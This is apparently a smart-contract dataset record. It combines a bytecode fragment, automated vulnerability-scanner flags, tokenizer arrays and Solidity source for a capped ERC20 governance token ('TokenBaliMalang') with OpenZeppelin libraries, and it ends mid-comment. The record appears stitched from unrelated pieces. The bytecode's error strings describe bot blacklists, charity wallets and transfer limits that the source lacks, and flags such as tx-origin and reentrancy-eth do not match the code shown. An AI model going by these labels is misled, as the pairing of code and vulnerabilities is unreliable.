09116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015612d7757858101830151858201604001528201612d5b565b81811115612d885783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f546f6b656e3a207472616e736665722064656c617920616c72656164792064696040820152651cd8589b195960d21b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252604b908201527f546f6b656e3a20626f74732063616e206f6e6c7920626520626c61636b6c697360408201527f7465642077697468696e20746865206669727374203135206d696e757465732060608201526a0cce4deda40d8c2eadcc6d60ab1b608082015260a00190565b60208082526025908201527f546f6b656e3a20636861726974792077616c6c6574206164647265737320696e6040820152641d985b1a5960da1b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526029908201527f546f6b656e3a206578636c756465642066726f6d2066656573206164647265736040820152681cc81a5b9d985b1a5960ba1b606082015260800190565b60208082526030908201527f546f6b656e3a20636f6e747261637420746f6b656e2062616c616e6365206d7560408201526f73742062652061626f7665207a65726f60801b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252602c908201527f546f6b656e3a20626f7420626c6f636b73206d7573742072616e67652062657460408201526b7765656e203020616e64203360a01b606082015260800190565b60208082526030908201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760408201526f726561746572207468616e207a65726f60801b606082015260800190565b6020808252602b908201527f546f6b656e3a206d61782077616c6c657420616d6f756e742063616e6e6f742060408201526a62652062656c6f7720312560a81b606082015260800190565b6020808252601f908201527f546f6b656e3a2063616c6c6572206973206e6f7420617574686f726973656400604082015260600190565b6020808252602b908201527f546f6b656e3a207377617020616d6f756e74206578636565647320636f6e747260408201526a6163742062616c616e636560a81b606082015260800190565b6020808252601d908201527f546f6b656e3a207472616e736665722064656c617920656e61626c6564000000604082015260600190565b60208082526030908201527f546f6b656e3a20626f74207365636f6e6473206d7573742072616e676520626560408201526f0747765656e20313020616e64203132360841b606082015260800190565b60208082526030908201527f546f6b656e3a20636f6e74726163742063757272656e63792062616c616e636560408201526f0206d7573742062652061626f766520360841b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601a908201527f546f6b656e3a206164647265737320626c61636b6c6973746564000000000000604082015260600190565b6020808252602a908201527f546f6b656e3a206d617820545820616d6f756e742063616e6e6f742062652062604082015269656c6f7720302e37352560b01b606082015260800190565b60208082526027908201527f546f6b656e3a2073656c6c20616d6f756e742065786365656473206d6178205460408201526616081b1a5b5a5d60ca1b606082015260800190565b6020808252601e908201527f546f6b656e3a2074726164696e6720616c726561647920656e61626c65640000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526030908201527f546f6b656e3a207377617020746f6b656e7320616d6f756e742063616e6e6f7460408201526f2062652062656c6f7720302e3030352560801b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601e908201527f546f6b656e3a206c696d69747320616c72656164792064697361626c65640000604082015260600190565b6020808252602e908201527f546f6b656e3a207377617020746f6b656e7320616d6f756e742063616e6e6f7460408201526d2062652061626f766520302e312560901b606082015260800190565b6020808252601e908201527f546f6b656e3a2074726164696e67206e6f742079657420656e61626c65640000604082015260600190565b6020808252602b908201527f546f6b656e3a206578636c756465642066726f6d206d6178205458206164647260408201526a195cdcc81a5b9d985b1a5960aa1b606082015260800190565b60208082526032908201527f546f6b656e3a206e756d626572206f6620626f742061646472657373657320636040820152710616e6e6f742062652061626f7665203230360741b606082015260800190565b60208082526027908201527f546f6b656e3a2065636f73797374656d2077616c6c65742061646472657373206040820152661a5b9d985b1a5960ca1b606082015260800190565b60208082526026908201527f546f6b656e3a2062757920616d6f756e742065786365656473206d6178205458604082015265081b1a5b5a5d60d21b606082015260800190565b6020808252602b908201527f546f6b656e3a20616d6f756e7420776f756c6420657863656564206d6178207760408201526a185b1b195d081b1a5b5a5d60aa1b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156137505784516001600160a01b03168352938301939183019160010161372b565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b600082198211156137925761379261385a565b500190565b6000826137b257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156137d1576137d161385a565b500290565b6000828210156137e8576137e861385a565b500390565b6000816137fc576137fc61385a565b506000190190565b60028104600182168061381857607f821691505b6020821081141561383957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156138535761385361385a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610fae57600080fd5b8015158114610fae57600080fdfea264697066735822122063003beabe5bff8d83eaf90d07e68742ed1be3db314f265ca427a7151866101e64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2683, 19317, 2683, 2683, 17465, 21619, 20952, 22407, 6305, 2497, 2475, 2497, 2475, 2278, 2581, 2063, 2692, 2683, 2278, 16086, 2575, 2620, 2509, 11329, 2497, 2581, 2278, 2683, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1008, 10093, 3388, 28394, 3215, 1008, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,437
0x96c96feab5007aa53e7216d6f5b6451b14a427e2
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; // NBT with Governance. contract TokenBaliMalang is ERC20Capped, Ownable { using SafeMath for uint256; constructor() ERC20('Token Bali Malang','TBM') ERC20Capped(10000000000000000000000000000) {} function mint(uint256 _amount) external onlyOwner returns (bool) { _mint(_msgSender(), _amount); _moveDelegates(address(0), _delegates[_msgSender()], _amount); return true; } function mint(address _to, uint256 _amount) external onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } function burn(uint256 _amount) public virtual { _burn(_msgSender(), _amount); _moveDelegates(_delegates[_msgSender()], address(0), _amount); } function burnFrom(address _account, uint256 _amount) public virtual { uint256 currentAllowance = allowance(_account, _msgSender()); require(currentAllowance >= _amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(_account, _msgSender(), currentAllowance - _amount); } _burn(_account, _amount); _moveDelegates(_delegates[_account], address(0), _amount); } // transfers delegate authority when sending a token. // https://medium.com/bulldax-finance/sushiswap-delegation-double-spending-bug-5adcc7b3830f function _transfer(address sender, address recipient, uint256 amount) internal override virtual { super._transfer(sender, recipient, amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Gets associated delegatee given the delegator` * @param delegator The address to get delegatee for * @return The delegator of the delegate */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "NBT::delegateBySig: invalid signature"); require(nonce == nonces[signatory], "NBT::delegateBySig: invalid nonce"); nonces[signatory]++; require(block.timestamp <= expiry, "NBT::delegateBySig: signature expired"); _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "NBT::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying NBTs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "NBT::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20Capped is ERC20 { uint256 private immutable _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor(uint256 cap_) { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } /** * @dev See {ERC20-_mint}. */ function _mint(address account, uint256 amount) internal virtual override { require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev 